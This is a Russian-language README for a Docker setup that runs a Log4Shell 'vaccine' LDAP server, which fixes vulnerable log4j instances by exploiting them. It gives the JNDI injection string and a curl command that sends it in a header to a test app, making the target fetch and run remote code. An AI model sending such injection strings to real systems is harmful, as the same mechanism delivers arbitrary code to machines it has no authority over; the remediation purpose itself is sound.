log4j-docker-vaccine

Вакцина Log4j в Docker

Контейнеризированный способ запуска вакцины log4j, предлагаемой Cyberreason

• https://github.com/Cybereason/Logout4Shell

Запуск

Клонируйте этот репозиторий:

git clone https://github.com/jeffbryner/log4j-docker-vaccine.git

Отредактируйте файл containers.env, указав точный частный или публичный IP/DNS, к которому ваша цель может получить доступ. Запись по умолчанию, скорее всего, не будет работать для вас!

Соберите и запустите контейнеры:

docker-compose -f docker-compose.yml -p vaccine up

Теперь у вас есть прослушивающий LDAP-сервер, который будет отдавать класс Log4jRCE для инокуляции уязвимого экземпляра log4j.

Вы можете открыть доступ к нему из интернета (если хотите) с помощью ngrok.

• https://dashboard.ngrok.com/get-started/setup

ngrok tcp 1389

Вы можете отправить на него уязвимый экземпляр log4j, используя печально известную входную строку jndi:

${jndi:ldap://<ngrokurlgoeshere>:1389/a}

Тестирование

Существует специально уязвимая версия log4j в контейнере, доступная по адресу:

• https://github.com/christophetd/log4shell-vulnerable-app

Вы можете следовать их инструкциям для её запуска и использования в тестировании:

docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app

И запустить инокуляцию через:

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-ip-address-or-dns-name:1389/a'